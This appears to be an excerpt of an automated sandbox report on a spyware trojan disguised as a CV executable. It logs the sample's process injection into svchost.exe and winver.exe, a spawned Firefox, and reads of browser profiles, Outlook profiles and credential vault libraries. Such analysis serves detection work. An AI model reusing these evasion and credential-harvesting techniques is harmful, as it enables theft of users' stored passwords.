Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF0535	6_2_04FF0535
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0509E4F6	6_2_0509E4F6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05014750	6_2_05014750
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FEC7C0	6_2_04FEC7C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF0770	6_2_04FF0770
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0500C6E0	6_2_0500C6E0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0508A118	6_2_0508A118
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05078158	6_2_05078158
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050B01AA	6_2_050B01AA
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A41A2	6_2_050A41A2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A81CC	6_2_050A81CC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05082000	6_2_05082000
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FE0100	6_2_04FE0100
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AA352	6_2_050AA352
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050B03E6	6_2_050B03E6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FFE3F0	6_2_04FFE3F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05090274	6_2_05090274
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050702C0	6_2_050702C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FE0CF2	6_2_04FE0CF2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0508CD1F	6_2_0508CD1F
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05008DBF	6_2_05008DBF
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF0C00	6_2_04FF0C00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FEADE0	6_2_04FEADE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05090CB5	6_2_05090CB5
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FFAD00	6_2_04FFAD00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05032F28	6_2_05032F28
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05010F30	6_2_05010F30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05092F30	6_2_05092F30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05064F40	6_2_05064F40
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF0E59	6_2_04FF0E59
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0506EFA0	6_2_0506EFA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AEE26	6_2_050AEE26
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FE2FC8	6_2_04FE2FC8
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05002E90	6_2_05002E90
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050ACE93	6_2_050ACE93
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AEEDB	6_2_050AEEDB
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FD68B8	6_2_04FD68B8
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05006962	6_2_05006962
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050BA9A6	6_2_050BA9A6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF2840	6_2_04FF2840
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FFA840	6_2_04FFA840
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF29A0	6_2_04FF29A0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0501E8F0	6_2_0501E8F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AAB40	6_2_050AAB40
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FEEA80	6_2_04FEEA80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A6BD7	6_2_050A6BD7
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A7571	6_2_050A7571
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FE1460	6_2_04FE1460
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0508D5B0	6_2_0508D5B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050B95C3	6_2_050B95C3
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AF43F	6_2_050AF43F
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AF7B0	6_2_050AF7B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05035630	6_2_05035630
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A16CC	6_2_050A16CC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF70C0	6_2_04FF70C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050BB16B	6_2_050BB16B
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0502516C	6_2_0502516C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FFB1B0	6_2_04FFB1B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FDF172	6_2_04FDF172
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0509F0CC	6_2_0509F0CC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A70E9	6_2_050A70E9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AF0E0	6_2_050AF0E0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A132D	6_2_050A132D
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF52A0	6_2_04FF52A0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0503739A	6_2_0503739A
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FDD34C	6_2_04FDD34C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0500B2C0	6_2_0500B2C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050912ED	6_2_050912ED
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0500D2F0	6_2_0500D2F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A1D5A	6_2_050A1D5A
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A7D73	6_2_050A7D73
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0500FDC0	6_2_0500FDC0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05069C32	6_2_05069C32
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF3D40	6_2_04FF3D40
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AFCF2	6_2_050AFCF2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AFF09	6_2_050AFF09
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF9EB0	6_2_04FF9EB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AFFB1	6_2_050AFFB1
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF1F92	6_2_04FF1F92
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05085910	6_2_05085910
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF38E0	6_2_04FF38E0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0500B950	6_2_0500B950
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0505D800	6_2_0505D800
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FF9950	6_2_04FF9950
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AFB76	6_2_050AFB76
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0500FB80	6_2_0500FB80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05065BF0	6_2_05065BF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0502DBF9	6_2_0502DBF9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050AFA49	6_2_050AFA49
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A7A46	6_2_050A7A46
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05063A6C	6_2_05063A6C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05035AA0	6_2_05035AA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0508DAAC	6_2_0508DAAC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05091AA3	6_2_05091AA3
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0509DAC6	6_2_0509DAC6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03011E30	6_2_03011E30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300AF10	6_2_0300AF10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300CF30	6_2_0300CF30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300CD07	6_2_0300CD07
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300CD10	6_2_0300CD10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03001371	6_2_03001371
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300B055	6_2_0300B055
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300B060	6_2_0300B060
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300B0A9	6_2_0300B0A9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0301370B	6_2_0301370B
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03013710	6_2_03013710
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03015500	6_2_03015500
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0302BBF0	6_2_0302BBF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04DEE69D	6_2_04DEE69D
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04DED768	6_2_04DED768
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04DEE1E4	6_2_04DEE1E4
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04DEE303	6_2_04DEE303
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04DECA43	6_2_04DECA43

Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 0505EA12 appears 86 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 04FDB970 appears 262 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 05037E54 appears 107 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 05025130 appears 58 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 0506F290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 58 times
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: String function: 0039EC2F appears 68 times
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: String function: 003AF8A0 appears 35 times
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: String function: 003A6AC0 appears 42 times

Source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1699591068.0000000004233000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs CV Lic H&S Olivetti Renzo.exe
Source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700637878.00000000043DD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs CV Lic H&S Olivetti Renzo.exe

Source: CV Lic H&S Olivetti Renzo.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@19/12

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003CCE7A GetLastError,FormatMessageW,

0_2_003CCE7A

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003BAB84 AdjustTokenPrivileges,CloseHandle,		0_2_003BAB84
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003BB134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_003BB134

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003CE1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_003CE1FD

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C6532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

0_2_003C6532

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003DC18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_003DC18C

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_0038406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_0038406B

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

File created: C:\Users\user\AppData\Local\Temp\autE216.tmp

Jump to behavior

Source: CV Lic H&S Olivetti Renzo.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: winver.exe, 00000006.00000003.2222067639.00000000032C5000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2222314858.00000000032E6000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4144237864.00000000032E6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: CV Lic H&S Olivetti Renzo.exe	ReversingLabs: Detection: 71%
Source: CV Lic H&S Olivetti Renzo.exe	Virustotal: Detection: 73%

Source: unknown	Process created: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe"
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe"
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Process created: C:\Windows\SysWOW64\winver.exe "C:\Windows\SysWOW64\winver.exe"
Source: C:\Windows\SysWOW64\winver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe"	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Process created: C:\Windows\SysWOW64\winver.exe "C:\Windows\SysWOW64\winver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: CV Lic H&S Olivetti Renzo.exe

Static file information: File size 1207808 > 1048576

Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: CV Lic H&S Olivetti Renzo.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: winver.pdb source: svchost.exe, 00000001.00000003.1999929496.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2000000788.000000000343B000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000A87000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000003.1987572224.0000000000A9B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: DIRZUznVUfWlad.exe, 00000005.00000000.1954793647.0000000000E6E000.00000002.00000001.01000000.00000005.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4144891699.0000000000E6E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700519425.0000000004110000.00000004.00001000.00020000.00000000.sdmp, CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700185346.00000000042B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2032630378.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1938129987.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2032630378.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1939807476.0000000003800000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2031398698.0000000004C4E000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2038921468.0000000004DFC000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.000000000514E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700519425.0000000004110000.00000004.00001000.00020000.00000000.sdmp, CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700185346.00000000042B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2032630378.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1938129987.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2032630378.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1939807476.0000000003800000.00000004.00000020.00020000.00000000.sdmp, winver.exe, winver.exe, 00000006.00000003.2031398698.0000000004C4E000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2038921468.0000000004DFC000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.000000000514E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: winver.pdbGCTL source: svchost.exe, 00000001.00000003.1999929496.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2000000788.000000000343B000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000A87000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000003.1987572224.0000000000A9B000.00000004.00000001.00020000.00000000.sdmp

Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: CV Lic H&S Olivetti Renzo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_0039E01E LoadLibraryA,GetProcAddress,

0_2_0039E01E

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003AC09E push esi; ret	0_2_003AC0A0
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003AC187 push edi; ret	0_2_003AC189
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003EC8BC push esi; ret	0_2_003EC8BE
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0039288B push 66003923h; retn 003Fh	0_2_003928E1
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A6B05 push ecx; ret	0_2_003A6B18
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CB2B1 push FFFFFF8Bh; iretd	0_2_003CB2B3
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003ABDAA push edi; ret	0_2_003ABDAC
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003ABEC3 push esi; ret	0_2_003ABEC5
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_019F93C2 push ss; retf	0_2_019F9409
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_019F940A push edi; retf	0_2_019F9601
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00411948 push ss; retf	1_2_0041194E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040214C pushad ; retf	1_2_0040214D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416AAC push esp; retf	1_2_00416AAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413B33 pushfd ; ret	1_2_00413B79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004033E0 push eax; ret	1_2_004033E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004144FC push edi; retf	1_2_004144FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00415D23 push 00000009h; retn 3081h	1_2_00415DC4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00408695 push edx; retf	1_2_004086AE
